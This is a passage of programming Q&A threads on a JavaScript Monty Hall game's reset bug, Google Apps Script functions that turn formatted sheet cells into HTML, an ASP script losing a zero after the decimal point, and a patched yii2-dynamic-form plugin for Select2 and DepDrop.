var doorContainer = document.querySelectorAll(".doorcontainer")[doorNumber];
var car = document.querySelector(".car");
car.classList.remove("invisible");
var doorContainerRect = doorContainer.getBoundingClientRect();
var carRect = car.getBoundingClientRect();
var carPosLeft = doorContainerRect.left - carRect.left + 50;
var carPosTop = doorContainerRect.top - carRect.top + 240;
car.style.left = carPosLeft + "px";
car.style.top = carPosTop + "px";
for(var i=0; i<3; i++){
document.querySelectorAll(".doorcontainer")[i].addEventListener("click", function(){
if (started && notPicked){
var firstPicked = this.textContent.trim();
console.log(firstPicked);
darkenDoor(firstPicked);
notPicked = false;
setTimeout(function(){
var doorsLeft = doorSelection.filter(function(door) {
return door !== firstPicked && door !== doorPicker;
});
var doorToReveal = doorsLeft[Math.floor(Math.random() * doorsLeft.length)];
console.log(doorToReveal);
hostReveal(doorToReveal);
document.querySelector(".heresText").classList.add("invisible");
document.querySelector(".switch").classList.remove("invisible");
document.querySelector(".stay").classList.remove("invisible");
for(var j=0; j<2; j++){
document.querySelectorAll(".buttonChoice div")[j].addEventListener("click", function(){
if(notFinalChosen){
var finalChoice = this.textContent;
if (finalChoice === "Switch"){
removeDarken(firstPicked);
var finalDoor = doorSelection.filter(function(newdoor){
return newdoor !== firstPicked && newdoor !== doorToReveal;
})
var openFinalChoice = "." + finalDoor + " .door";
document.querySelector(openFinalChoice).classList.add("invisible");
notFinalChosen = false;
console.log(finalDoor + ", " + doorPicker);
if(finalDoor == doorPicker){
document.querySelector(".heading").textContent = "You Win!";
wins++;
}
else{
document.querySelector(".heading").textContent = "Fail!";
losses++;
}
document.querySelector(".scoreCorrect").textContent = wins;
document.querySelector(".scoreWrong").textContent = losses;
}
else {
var openFinalChoice = "." + firstPicked + " .door";
removeDarken(firstPicked);
document.querySelector(openFinalChoice).classList.add("invisible");
notFinalChosen = false;
if(firstPicked === doorPicker){
document.querySelector(".heading").textContent = "You Win!";
wins++;
}
else{
document.querySelector(".heading").textContent = "Fail!";
losses++;
}
document.querySelector(".scoreCorrect").textContent = wins;
document.querySelector(".scoreWrong").textContent = losses;
}
}
resetGame();
})
}
}, 2000)
}
})
}
}
function darkenDoor(varsTemp){
var doorVars = document.querySelector("." + varsTemp);
doorVars.classList.add("darken");
}
function removeDarken(varsTemp2){
var doorVars2 = document.querySelector("." + varsTemp2);
doorVars2.classList.remove("darken");
}
function hostReveal(revealed){
var revealedDoor ="." + revealed + " .door";
document.querySelector(revealedDoor).classList.add("invisible");
}
function resetGame(){
setTimeout(function(){
console.log(doorSelection);
roundComplete = false;
started = false;
notPicked = true;
notFinalChosen = true;
document.querySelector(".switch").classList.add("invisible");
document.querySelector(".stay").classList.add("invisible");
document.querySelector(".car").classList.add("invisible");
document.querySelector(".car").style.left = 0 + "px";
document.querySelector(".car").style.top = 0 + "px";
document.querySelector(".startButton").classList.remove("invisible");
doorPicker = null;
doorNumber = null;
doorToReveal = null;
finalChoice = null;
finalDoor = null;
doorsLeft = null;
openFinalChoice = null;
for(var m=0; m<doorSelection.length; m++){
document.querySelectorAll(".door")[m].classList.remove("invisible");
}
document.querySelector(".heading").textContent = "Welcome to the Monty Hall Game!";
}, 3000)
}
But once I call resetGame(); and I've tried many different things including a true/false statement to trigger it, and placing it in different places (I have no idea what I'm doing with this part now), it opens the door with the car in it on the second round, then doesn't remove the "darken" by the third round, and by maybe the 4th or 5th round, the "start" button stops working as a whole.

How to convert formatted text to html tag in Google-apps-script?

I want to convert a formatted text in a cell to html but I don't know how to read the format of the text.
Let's say that I have the following text in a cell:
A text with a bold word.
And I would like to convert it in an other cell to:
A text with a <b>bold</b> word.
How can I do that?
I didn't find anything useful in the Spreadsheet API to read format info...Does anyone have any tips?
Thanks.
EDIT: I've created a feature request. Please vote to have the feature.
My Google Script
/**
* Rich Text to HTML.
* #param {string} qRange Input text.
* #returns {string} Text as HTML.
* #customfunction
*/
function RICHTEXT_TO_HTML(qRange) {
var indexBool = false;
var indexItalic = false;
var indexUnderline = false;
var indexStrikethrough = false;
var sheet = SpreadsheetApp.getActiveSpreadsheet();
var range = sheet.getRange(qRange);
var cell = range;
var cellValue = cell.getRichTextValue();
var txt = String(cell.getDisplayValue());
var styles = cell.getTextStyles();
var result = '';
for (var i = 0; i < txt.length; i++) {
var style = cellValue.getTextStyle(i, i + 1);
if (!indexStrikethrough && style.isStrikethrough()) {
indexStrikethrough = true;
result += '<strike>';
} else if (indexStrikethrough && !style.isStrikethrough()) {
indexStrikethrough = false;
result += '</strike>';
}
if (!indexUnderline && style.isUnderline()) {
indexUnderline = true;
result += '<u>';
} else if (indexUnderline && !style.isUnderline()) {
indexUnderline = false;
result += '</u>';
}
if (!indexBool && style.isBold()) {
indexBool = true;
result += '<b>';
} else if (indexBool && !style.isBold()) {
indexBool = false;
result += '</b>';
}
if (!indexItalic && style.isItalic()) {
indexItalic = true;
result += '<i>';
} else if (indexItalic && !style.isItalic()) {
indexItalic = false;
result += '</i>';
}
result += txt[i];
}
if (indexStrikethrough) {
result += '</strike>';
}
if (indexUnderline) {
result += '</u>';
}
if (indexBool) {
result += '</b>';
}
if (indexItalic) {
result += '</i>';
}
return result;
}
Usage
A1 = "My formatted example!!!"
A2 = =RICHTEXT_TO_HTML("A1")
A2 Result = My <i>formatted</i> <b>example</b>!!!
Working example
https://docs.google.com/spreadsheets/d/1mVvE8AdXYKSnaSIfRBrjfOeXxmTkVZovhguMZ3sc47M/edit?usp=sharing
I went ahead and updated this idea to better reflect how we do this is 2021.
/**
* #Author: Emma Sargent
* Rich Text to HTML.
* #param {Range} Google Sheets Range object
* #returns {string} Text as HTML.
* #customfunction
*/
function richTextToHtml(range) {
const runs = range.getRichTextValue().getRuns();
const formattedRuns = runs.map((run) => {
const attr = {
style: '',
};
const text = run.getText();
const link = run.getLinkUrl();
let parentTag = 'span';
if (link) {
parentTag = 'a';
attr.href = link;
}
const style = run.getTextStyle();
const styles = {
'font-family': `'${style.getFontFamily()}'`,
'font-size': `${style.getFontSize()}px`,
color: style.getForegroundColor(),
};
attr.style = Object.entries(styles)
.map(([key, val]) => `${key}: ${val}`)
.join('; ');
let tags = [];
if (style.isBold()) {
tags.push('b');
}
if (style.isItalic()) {
tags.push('i');
}
if (style.isUnderline()) {
tags.push('u');
}
if (style.isStrikethrough()) {
tags.push('strike');
}
const headTags = tags.length ? `<${tags.join('><')}>` : '';
const closeTags = tags.length ? `</${tags.join('></')}>` : '';
const attrStr = Object.entries(attr)
.map(([key, val]) => `${key}="${val}"`)
.join(' ');
const mainTag = `<${parentTag} ${attrStr}>${headTags}${text}${closeTags}</${parentTag}>`;
const lineBreakFormattedStr = mainTag.replace(/[\r\n]/g, '<br>');
return lineBreakFormattedStr;
});
return formattedRuns.join('');
}
And because someone emailed me and asked, here's a version that can be run as a custom function from the formula bar.
Spreadsheet formula: =richTextToHtml("YourSheetName!A1NotationRange")
function richTextToHtml(rangeStr) {
let [sheetName, rangeName] = rangeStr.split("!");
sheetName = sheetName.replaceAll("'",'');
const range = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(sheetName).getRange(rangeName);
const runs = range.getRichTextValue().getRuns();
const formattedRuns = runs.map((run) => {
const attr = {
style: '',
};
const text = run.getText();
const link = run.getLinkUrl();
let parentTag = 'span';
if (link) {
parentTag = 'a';
attr.href = link;
}
const style = run.getTextStyle();
const styles = {
'font-family': `'${style.getFontFamily()}'`,
'font-size': `${style.getFontSize()}px`,
color: style.getForegroundColor(),
};
attr.style = Object.entries(styles)
.map(([key, val]) => `${key}: ${val}`)
.join('; ');
let tags = [];
if (style.isBold()) {
tags.push('b');
}
if (style.isItalic()) {
tags.push('i');
}
if (style.isUnderline()) {
tags.push('u');
}
if (style.isStrikethrough()) {
tags.push('strike');
}
const headTags = tags.length ? `<${tags.join('><')}>` : '';
const closeTags = tags.length ? `</${tags.join('></')}>` : '';
const attrStr = Object.entries(attr)
.map(([key, val]) => `${key}="${val}"`)
.join(' ');
const mainTag = `<${parentTag} ${attrStr}>${headTags}${text}${closeTags}</${parentTag}>`;
const lineBreakFormattedStr = mainTag.replace(/[\r\n]/g, '<br>');
return lineBreakFormattedStr;
});
return formattedRuns.join('');
}
Demo sheet here: https://docs.google.com/spreadsheets/d/1X8I_lRXwoUXWRKb2hZPztDIPRs2nmXGtOuWmnrKWjAg/edit?usp=sharing
Thank you Eduardo Cuomo for the answer. I wanted to add the code to get down to the bottom line with a little fix.
/**
* #Author: Eduardo Cuomo
* Rich Text to HTML.
* #param {string} qRange Input text.
* #returns {string} Text as HTML.
* #customfunction
*/
function RICHTEXT_TO_HTML(qRange) {
var indexBool = false;
var indexItalic = false;
var indexUnderline = false;
var indexStrikethrough = false;
var sheet = SpreadsheetApp.getActiveSpreadsheet();
var range = sheet.getRange(qRange);
var cell = range;
var cellValue = cell.getRichTextValue();
var txt = String(cell.getDisplayValue());
var styles = cell.getTextStyles();
var result = '';
for (var i = 0; i < txt.length; i++) {
if(txt[i]=="\n"){
result += '<br>';
}else{
var style = cellValue.getTextStyle(i, i + 1);
if (!indexStrikethrough && style.isStrikethrough()) {
indexStrikethrough = true;
result += '<strike>';
} else if (indexStrikethrough && !style.isStrikethrough()) {
indexStrikethrough = false;
result += '</strike>';
}
if (!indexUnderline && style.isUnderline()) {
indexUnderline = true;
result += '<u>';
} else if (indexUnderline && !style.isUnderline()) {
indexUnderline = false;
result += '</u>';
}
if (!indexBool && style.isBold()) {
indexBool = true;
result += '<b>';
} else if (indexBool && !style.isBold()) {
indexBool = false;
result += '</b>';
}
if (!indexItalic && style.isItalic()) {
indexItalic = true;
result += '<i>';
} else if (indexItalic && !style.isItalic()) {
indexItalic = false;
result += '</i>';
}
result += txt[i];
}
}
if (indexStrikethrough) {
result += '</strike>';
}
if (indexUnderline) {
result += '</u>';
}
if (indexBool) {
result += '</b>';
}
if (indexItalic) {
result += '</i>';
}
return result;
}
Here's a version that creates more compact HTML (avoiding lots of spans setting styles):
function richTextToHtml(range) {
let lastFont = null, lastSize = null, lastColor = null, lastLink = null;
let parentClose = '';
return range.getRichTextValue()
.getRuns()
.map(run => {
const text = run.getText().replace(/[\r\n]/g, '<br>');
const style = run.getTextStyle();
const font = style.getFontFamily();
const size = style.getFontSize();
const color = style.getForegroundColor();
const link = run.getLinkUrl();
let mainTag = '';
if (font !== lastFont || size !== lastSize || color !== lastColor || link !== lastLink) {
mainTag += parentClose;
mainTag += link ? `<a href="${link}"` : '<span';
mainTag +=
` style="font-family:'${font}';font-size:${size}px;color:${color}">`;
parentClose = link ? '</a>' : '</span>';
lastFont = font;
lastSize = size;
lastColor = color;
lastLink = link;
}
let closeTags = '';
Object.entries({isBold: 'b', isItalic: 'i', isUnderline: 'u', isStrikethrough: 'strike'})
.filter(([getter, tag]) => style[getter]())
.forEach(([getter, tag]) => {
mainTag += `<${tag}>`;
closeTags = `</${tag}>${closeTags}`;
});
return `${mainTag}${text}${closeTags}`;
})
.join('') + parentClose;
}
You need to use getFontWeight properties of the Range to read these formating values. Example given here: GAS-check-cell-format
Check Rucent88's answer.

Issue with a zero showing after a decimal point

I have a script set up to extract figures from a csv file into a webpage. We have a problem in that a figure that have a 0 after the decimal point is being ignored so whilst the csv file shows 1.094 when teh figure is transferred to the webpage it is 1.94
There is a js script and then an asp script that works the function
function getHTTPObject()
{
var x = null;
if (window.XMLHttpRequest)
{
x = new XMLHttpRequest();
}
else if (window.ActiveXObject)
{
x = new ActiveXObject("Microsoft.XMLHTTP");
if (!x)
{
x = new ActiveXObject("Msxml2.XMLHTTP");
}
}
return x;
}
var gobj = getHTTPObject();
window.onload=update();
function update()
{
var xpath = "ratesxtract.asp";
if (gobj) {
gobj.open("GET", xpath, true);
gobj.onreadystatechange = update_all;
gobj.send(null);
}
else {alert("XMLHTTP access problem. Please exit page and try again" ); }
}
function update_all()
{
if (gobj.readyState == 4) {
if (gobj.status == 200) {
// dobj = document.getElementById("BLastUpdated");
var A = gobj.responseText;
// dobj.innerHTML = A;
if (A == "error") {alert("XMLHTTP access problem. Please exit page and contact us" ); }
else { processfile(A); }
}
}
function processfile(A)
{
var errormess = "none";
var AA = new String(A);
AA = AA.split("$");
var nName = null;
var dobj = null;
var nValue = null;
var i = 0;
for (i = 0; i < AA.length; i++) {
if (AA[i].charAt(0) == "Z") {
nName = AA[i];
dobj = document.getElementById(nName);
}
else { nValue = "";
nValue += AA[i];
dobj.innerHTML = nValue;
}
}
if ( i == 0 ) { errormess = "failed to access exchange rates data, please exit page and try again";
alert(errormess)
}
}
ASP SCRIPT
<%#LANGUAGE='JScript'%>
<%
var sfile = Server.MapPath("forex\\ratefile.csv");
var fs = Server.CreateObject("Scripting.FileSystemObject");
var fsT = fs.OpenTextFile(sfile, 1, 0);
var xline;
var p = 0;
var q = 0;
var d = 0;
var i = 0;
var n = 0;
var t = 0;
var ts = 0;
var mname;
var mprice;
var mtime = "";
var INLine
var LN;
var cresult = "";
while(!fsT.AtEndOfStream) {
INLine = fsT.ReadLine();
xline = String(INLine);
if ( p != 0) {
LN = xline.split(",");
mname = xtrim(LN[0]);
mprice = doamount3(LN[1]);
if (p == 1) { mtime = xtrim(LN[2]); }
if (n > 0){ cresult += "$"; }
n++;
cresult += "Z" + mname + "$" + mprice;
}
p++;
}
cresult += "$ZTIM$" + mtime;
fsT.Close();
Response.Write(cresult);
%>
<%
function xtrim(x)
{
var xd = x.replace(/^\s+|\s+$/gm,'');
return xd;
}
function doamount3(amt)
{
var ZLine = String(amt);
ZLine = xtrim(ZLine);
if (ZLine.indexOf(".") == -1) {
ZLine += ".00";
return(ZLine);
}
var idata = ZLine.split(".");
var xadp = new String(idata[1]);
var xlen = xadp.length;
if (xlen == 1) {
idata[1] = xadp + "00";
ZLine = idata[0] + "." + idata[1];
return(ZLine);
}
if (xlen == 2) {
idata[1] = xadp + "0";
ZLine = idata[0] + "." + idata[1];
return(ZLine);
}
var p4 = xadp.charAt(3);
var p3 = parseInt(xadp.substring(0,3), 10);
if (p4 > 4) { p3 += 0; }
idata[1] = String(p3);
ZLine = idata[0] + "." + idata[1];
return(ZLine);
}
%>
If anyone can help be greatly appreciated

Select2 and wbraganca/yii2-dynamicform not working together in Yii2

I'm trying to use Select2 in wbraganca/yii2-dynamicform. The first row is working fine but when I'm clicking on the plus button, the select2 fild keeps on spinning.
Screenshot - . I've tried - https://github.com/wbraganca/yii2-dynamicform/issues/76 and https://github.com/TimNZ/yii2-dynamicform/blob/master/src/assets/yii2-dynamic-form.js it but seems not to be working.
My code in vendor/wbragance/yii2-dynamicform/asset/yii2-dynamic-form.js looks like -
// "kartik-v/yii2-widget-depdrop"
var $hasDepdrop = $(widgetOptionsRoot.widgetItem).find('[data-krajee-depdrop]');
if ($hasDepdrop.length > 0) {
$hasDepdrop.each(function() {
if ($(this).data('select2') === undefined) {
$(this).removeData().off();
$(this).unbind();
_restoreKrajeeDepdrop($(this));
}
});
}
// "kartik-v/yii2-widget-select2"
var $hasSelect2 = $(widgetOptionsRoot.widgetItem).find('[data-krajee-select2]');
if ($hasSelect2.length > 0) {
$hasSelect2.each(function() {
var id = $(this).attr('id');
var configSelect2 = eval($(this).attr('data-krajee-select2'));
if ($(this).data('select2')) {
$(this).select2('destroy');
}
var configDepdrop = $(this).data('depdrop');
if (configDepdrop) {
configDepdrop = $.extend(true, {}, configDepdrop);
$(this).removeData().off();
$(this).unbind();
_restoreKrajeeDepdrop($(this));
}
var s2LoadingFunc = typeof initSelect2Loading != 'undefined' ? initSelect2Loading : initS2Loading;
var s2OpenFunc = typeof initSelect2DropStyle != 'undefined' ? initSelect2Loading : initS2Loading;
$.when($('#' + id).select2(configSelect2)).done(s2LoadingFunc(id, '.select2-container--krajee'));
var kvClose = 'kv_close_' + id.replace(/\-/g, '_');
$('#' + id).on('select2:opening', function(ev) {
s2OpenFunc(id, kvClose, ev);
});
$('#' + id).on('select2:unselect', function() {
window[kvClose] = true;
});
if (configDepdrop) {
var loadingText = (configDepdrop.loadingText) ? configDepdrop.loadingText : 'Loading ...';
initDepdropS2(id, loadingText);
}
});
}
};
Update -
I've changed the yii2-dynamic-form.js as following
// "kartik-v/yii2-widget-depdrop"
var $hasDepdrop = $(widgetOptionsRoot.widgetItem).find('[data-krajee-depdrop]');
if ($hasDepdrop.length > 0) {
$hasDepdrop.each(function() {
if ($(this).data('select2') === undefined) {
$(this).removeData().off();
$(this).unbind();
_restoreKrajeeDepdrop($(this));
}
});
}
// "kartik-v/yii2-widget-select2"
var $hasSelect2 = $(widgetOptionsRoot.widgetItem).find('[data-krajee-select2]');
if ($hasSelect2.length > 0) {
$hasSelect2.each(function() {
var id = $(this).attr('id');
var configSelect2 = eval($(this).attr('data-krajee-select2'));
if ($(this).data('select2')) {
$(this).select2('destroy');
}
var configDepdrop = $(this).data('depdrop');
if (configDepdrop) {
configDepdrop = $.extend(true, {}, configDepdrop);
$(this).removeData().off();
$(this).unbind();
_restoreKrajeeDepdrop($(this));
}
var s2LoadingFunc = typeof initSelect2Loading != 'undefined' ? initSelect2Loading : initS2Loading;
var s2OpenFunc = typeof initSelect2DropStyle != 'undefined' ? initSelect2Loading : initS2Loading;
$.when($('#' + id).select2(configSelect2)).done(initS2Loading(id, '.select2-container--krajee'));
var kvClose = 'kv_close_' + id.replace(/\-/g, '_');
$('#' + id).on('select2:opening', function(ev) {
//initSelect2DropStyle(id, kvClose, ev);
s2OpenFunc(id, kvClose, ev);
});
$('#' + id).on('select2:unselect', function() {
window[kvClose] = true;
});
if (configDepdrop) {
var loadingText = (configDepdrop.loadingText) ? configDepdrop.loadingText : 'Loading ...';
initDepdropS2(id, loadingText);
}
});
}
Now the there's no error message but I get the following screen -
I'm using Kartik Depdrop and Select2. Only in the first row both seems to be working. In the later only select2 is working with a spinning sign on top of it.
Here's my solution:
I've modified the dynamic-form.js as follows:
/**
* yii2-dynamic-form
*
* A jQuery plugin to clone form elements in a nested manner, maintaining accessibility.
*
* #author Wanderson Bragança <wanderson.wbc#gmail.com>
*/
(function ($) {
var pluginName = 'yiiDynamicForm';
var regexID = /^(.+?)([-\d-]{1,})(.+)$/i;
var regexName = /(^.+?)([\[\d{1,}\]]{1,})(\[.+\]$)/i;
$.fn.yiiDynamicForm = function (method) {
if (methods[method]) {
return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
} else if (typeof method === 'object' || !method) {
return methods.init.apply(this, arguments);
} else {
$.error('Method ' + method + ' does not exist on jQuery.yiiDynamicForm');
return false;
}
};
var events = {
beforeInsert: 'beforeInsert',
afterInsert: 'afterInsert',
beforeDelete: 'beforeDelete',
afterDelete: 'afterDelete',
limitReached: 'limitReached'
};
var methods = {
init: function (widgetOptions) {
return this.each(function () {
widgetOptions.template = _parseTemplate(widgetOptions);
});
},
addItem: function (widgetOptions, e, $elem) {
_addItem(widgetOptions, e, $elem);
},
deleteItem: function (widgetOptions, e, $elem) {
_deleteItem(widgetOptions, e, $elem);
},
updateContainer: function () {
var widgetOptions = eval($(this).attr('data-dynamicform'));
_updateAttributes(widgetOptions);
_restoreSpecialJs(widgetOptions);
_fixFormValidaton(widgetOptions);
}
};
var _parseTemplate = function(widgetOptions) {
var $template = $(widgetOptions.template);
$template.find('div[data-dynamicform]').each(function(){
var widgetOptions = eval($(this).attr('data-dynamicform'));
if ($(widgetOptions.widgetItem).length > 1) {
var item = $(this).find(widgetOptions.widgetItem).first()[0].outerHTML;
$(this).find(widgetOptions.widgetBody).html(item);
}
});
$template.find('input, textarea, select').each(function() {
$(this).val('');
});
$template.find('input[type="checkbox"], input[type="radio"]').each(function() {
var inputName = $(this).attr('name');
var $inputHidden = $template.find('input[type="hidden"][name="' + inputName + '"]').first();
if ($inputHidden) {
$(this).val(1);
$inputHidden.val(0);
}
});
return $template;
};
var _getWidgetOptionsRoot = function(widgetOptions) {
return eval($(widgetOptions.widgetBody).parents('div[data-dynamicform]').last().attr('data-dynamicform'));
};
var _getLevel = function($elem) {
var level = $elem.parents('div[data-dynamicform]').length;
level = (level < 0) ? 0 : level;
return level;
};
var _count = function($elem, widgetOptions) {
return $elem.closest('.' + widgetOptions.widgetContainer).find(widgetOptions.widgetItem).length;
};
var _createIdentifiers = function(level) {
return new Array(level + 2).join('0').split('');
};
var _addItem = function(widgetOptions, e, $elem) {
var count = _count($elem, widgetOptions);
if (count < widgetOptions.limit) {
$toclone = widgetOptions.template;
$newclone = $toclone.clone(false, false);
if (widgetOptions.insertPosition === 'top') {
$elem.closest('.' + widgetOptions.widgetContainer).find(widgetOptions.widgetBody).prepend($newclone);
} else {
$elem.closest('.' + widgetOptions.widgetContainer).find(widgetOptions.widgetBody).append($newclone);
}
_updateAttributes(widgetOptions);
_restoreSpecialJs(widgetOptions);
_fixFormValidaton(widgetOptions);
$elem.closest('.' + widgetOptions.widgetContainer).triggerHandler(events.afterInsert, $newclone);
} else {
// trigger a custom event for hooking
$elem.closest('.' + widgetOptions.widgetContainer).triggerHandler(events.limitReached, widgetOptions.limit);
}
};
var _removeValidations = function($elem, widgetOptions, count) {
if (count > 1) {
$elem.find('div[data-dynamicform]').each(function() {
var currentWidgetOptions = eval($(this).attr('data-dynamicform'));
var level = _getLevel($(this));
var identifiers = _createIdentifiers(level);
var numItems = $(this).find(currentWidgetOptions.widgetItem).length;
for (var i = 1; i <= numItems -1; i++) {
var aux = identifiers;
aux[level] = i;
currentWidgetOptions.fields.forEach(function(input) {
var id = input.id.replace("{}", aux.join('-'));
if ($("#" + currentWidgetOptions.formId).yiiActiveForm("find", id) !== "undefined") {
$("#" + currentWidgetOptions.formId).yiiActiveForm("remove", id);
}
});
}
});
var level = _getLevel($elem.closest('.' + widgetOptions.widgetContainer));
var widgetOptionsRoot = _getWidgetOptionsRoot(widgetOptions);
var identifiers = _createIdentifiers(level);
identifiers[0] = $(widgetOptionsRoot.widgetItem).length - 1;
identifiers[level] = count - 1;
widgetOptions.fields.forEach(function(input) {
var id = input.id.replace("{}", identifiers.join('-'));
if ($("#" + widgetOptions.formId).yiiActiveForm("find", id) !== "undefined") {
$("#" + widgetOptions.formId).yiiActiveForm("remove", id);
}
});
}
};
var _deleteItem = function(widgetOptions, e, $elem) {
var count = _count($elem, widgetOptions);
if (count > widgetOptions.min) {
$todelete = $elem.closest(widgetOptions.widgetItem);
// trigger a custom event for hooking
var eventResult = $('.' + widgetOptions.widgetContainer).triggerHandler(events.beforeDelete, $todelete);
if (eventResult !== false) {
_removeValidations($todelete, widgetOptions, count);
$todelete.remove();
_updateAttributes(widgetOptions);
_restoreSpecialJs(widgetOptions);
_fixFormValidaton(widgetOptions);
$('.' + widgetOptions.widgetContainer).triggerHandler(events.afterDelete);
}
}
};
var _updateAttrID = function($elem, index) {
var widgetOptions = eval($elem.closest('div[data-dynamicform]').attr('data-dynamicform'));
var id = $elem.attr('id');
var newID = id;
if (id !== undefined) {
var matches = id.match(regexID);
if (matches && matches.length === 4) {
matches[2] = matches[2].substring(1, matches[2].length - 1);
var identifiers = matches[2].split('-');
identifiers[0] = index;
if (identifiers.length > 1) {
var widgetsOptions = [];
$elem.parents('div[data-dynamicform]').each(function(i){
widgetsOptions[i] = eval($(this).attr('data-dynamicform'));
});
widgetsOptions = widgetsOptions.reverse();
for (var i = identifiers.length - 1; i >= 1; i--) {
identifiers[i] = $elem.closest(widgetsOptions[i].widgetItem).index();
}
}
newID = matches[1] + '-' + identifiers.join('-') + '-' + matches[3];
$elem.attr('id', newID);
} else {
newID = id + index;
$elem.attr('id', newID);
}
}
if (id !== newID) {
$elem.closest(widgetOptions.widgetItem).find('.field-' + id).each(function() {
$(this).removeClass('field-' + id).addClass('field-' + newID);
});
// update "for" attribute
$elem.closest(widgetOptions.widgetItem).find("label[for='" + id + "']").attr('for',newID);
}
return newID;
};
var _updateAttrName = function($elem, index) {
var name = $elem.attr('name');
if (name !== undefined) {
var matches = name.match(regexName);
if (matches && matches.length === 4) {
matches[2] = matches[2].replace(/\]\[/g, "-").replace(/\]|\[/g, '');
var identifiers = matches[2].split('-');
identifiers[0] = index;
if (identifiers.length > 1) {
var widgetsOptions = [];
$elem.parents('div[data-dynamicform]').each(function(i){
widgetsOptions[i] = eval($(this).attr('data-dynamicform'));
});
widgetsOptions = widgetsOptions.reverse();
for (var i = identifiers.length - 1; i >= 1; i--) {
identifiers[i] = $elem.closest(widgetsOptions[i].widgetItem).index();
}
}
name = matches[1] + '[' + identifiers.join('][') + ']' + matches[3];
$elem.attr('name', name);
}
}
return name;
};
var _updateAttributes = function(widgetOptions) {
var widgetOptionsRoot = _getWidgetOptionsRoot(widgetOptions);
$(widgetOptionsRoot.widgetItem).each(function(index) {
var $item = $(this);
$(this).find('*').each(function() {
// update "id" attribute
_updateAttrID($(this), index);
// update "name" attribute
_updateAttrName($(this), index);
});
});
};
var _fixFormValidatonInput = function(widgetOptions, attribute, id, name) {
if (attribute !== undefined) {
attribute = $.extend(true, {}, attribute);
attribute.id = id;
attribute.container = ".field-" + id;
attribute.input = "#" + id;
attribute.name = name;
attribute.value = $("#" + id).val();
attribute.status = 0;
if ($("#" + widgetOptions.formId).yiiActiveForm("find", id) !== "undefined") {
$("#" + widgetOptions.formId).yiiActiveForm("remove", id);
}
$("#" + widgetOptions.formId).yiiActiveForm("add", attribute);
}
};
var _fixFormValidaton = function(widgetOptions) {
var widgetOptionsRoot = _getWidgetOptionsRoot(widgetOptions);
$(widgetOptionsRoot.widgetBody).find('input, textarea, select').each(function() {
var id = $(this).attr('id');
var name = $(this).attr('name');
if (id !== undefined && name !== undefined) {
currentWidgetOptions = eval($(this).closest('div[data-dynamicform]').attr('data-dynamicform'));
var matches = id.match(regexID);
if (matches && matches.length === 4) {
matches[2] = matches[2].substring(1, matches[2].length - 1);
var level = _getLevel($(this));
var identifiers = _createIdentifiers(level -1);
var baseID = matches[1] + '-' + identifiers.join('-') + '-' + matches[3];
var attribute = $("#" + currentWidgetOptions.formId).yiiActiveForm("find", baseID);
_fixFormValidatonInput(currentWidgetOptions, attribute, id, name);
}
}
});
};
var _restoreSpecialJs = function(widgetOptions) {
var widgetOptionsRoot = _getWidgetOptionsRoot(widgetOptions);
// "kartik-v/yii2-widget-datepicker"
var $hasDatepicker = $(widgetOptionsRoot.widgetItem).find('[data-krajee-datepicker]');
if ($hasDatepicker.length > 0) {
$hasDatepicker.each(function() {
$(this).parent().removeData().datepicker('remove');
$(this).parent().datepicker(eval($(this).attr('data-krajee-datepicker')));
});
}
// "kartik-v/yii2-widget-timepicker"
var $hasTimepicker = $(widgetOptionsRoot.widgetItem).find('[data-krajee-timepicker]');
if ($hasTimepicker.length > 0) {
$hasTimepicker.each(function() {
$(this).removeData().off();
$(this).parent().find('.bootstrap-timepicker-widget').remove();
$(this).unbind();
$(this).timepicker(eval($(this).attr('data-krajee-timepicker')));
});
}
// "kartik-v/yii2-money"
var $hasMaskmoney = $(widgetOptionsRoot.widgetItem).find('[data-krajee-maskMoney]');
if ($hasMaskmoney.length > 0) {
$hasMaskmoney.each(function() {
$(this).parent().find('input').removeData().off();
var id = '#' + $(this).attr('id');
var displayID = id + '-disp';
$(displayID).maskMoney('destroy');
$(displayID).maskMoney(eval($(this).attr('data-krajee-maskMoney')));
$(displayID).maskMoney('mask', parseFloat($(id).val()));
$(displayID).on('change', function () {
var numDecimal = $(displayID).maskMoney('unmasked')[0];
$(id).val(numDecimal);
$(id).trigger('change');
});
});
}
// "kartik-v/yii2-widget-fileinput"
var $hasFileinput = $(widgetOptionsRoot.widgetItem).find('[data-krajee-fileinput]');
if ($hasFileinput.length > 0) {
$hasFileinput.each(function() {
$(this).fileinput(eval($(this).attr('data-krajee-fileinput')));
});
}
// "kartik-v/yii2-widget-touchspin"
var $hasTouchSpin = $(widgetOptionsRoot.widgetItem).find('[data-krajee-TouchSpin]');
if ($hasTouchSpin.length > 0) {
$hasTouchSpin.each(function() {
$(this).TouchSpin('destroy');
$(this).TouchSpin(eval($(this).attr('data-krajee-TouchSpin')));
});
}
// "kartik-v/yii2-widget-colorinput"
var $hasSpectrum = $(widgetOptionsRoot.widgetItem).find('[data-krajee-spectrum]');
if ($hasSpectrum.length > 0) {
$hasSpectrum.each(function() {
var id = '#' + $(this).attr('id');
var sourceID = id + '-source';
$(sourceID).spectrum('destroy');
$(sourceID).unbind();
$(id).unbind();
var configSpectrum = eval($(this).attr('data-krajee-spectrum'));
configSpectrum.change = function (color) {
jQuery(id).val(color.toString());
};
$(sourceID).attr('name', $(sourceID).attr('id'));
$(sourceID).spectrum(configSpectrum);
$(sourceID).spectrum('set', jQuery(id).val());
$(id).on('change', function(){
$(sourceID).spectrum('set', jQuery(id).val());
});
});
}
var _restoreKrajeeDepdrop = function($elem) {
var configDepdrop = $.extend(true, {}, eval($elem.attr('data-krajee-depdrop')));
var inputID = $elem.attr('id');
var matchID = inputID.match(regexID);
if (matchID && matchID.length === 4) {
for (index = 0; index < configDepdrop.depends.length; ++index) {
var match = configDepdrop.depends[index].match(regexID);
if (match && match.length === 4) {
configDepdrop.depends[index] = match[1] + matchID[2] + match[3];
}
}
}
$elem.depdrop(configDepdrop);
};
// "kartik-v/yii2-widget-depdrop"
var _restoreKrajeeDepdrop = function($elem) {
var configDepdrop = $.extend(true, {}, eval($elem.attr('data-krajee-depdrop')));
var inputID = $elem.attr('id');
var matchID = inputID.match(regexID);
if (matchID && matchID.length === 4) {
for (index = 0; index < configDepdrop.depends.length; ++index) {
var match = configDepdrop.depends[index].match(regexID);
if (match && match.length === 4) {
configDepdrop.depends[index] = match[1] + matchID[2] + match[3];
}
}
}
$elem.depdrop(configDepdrop);
};
var $hasDepdrop = $(widgetOptionsRoot.widgetItem).find('[data-krajee-depdrop]');
if ($hasDepdrop.length > 0) {
$hasDepdrop.each(function() {
if ($(this).data('select2') === undefined) {
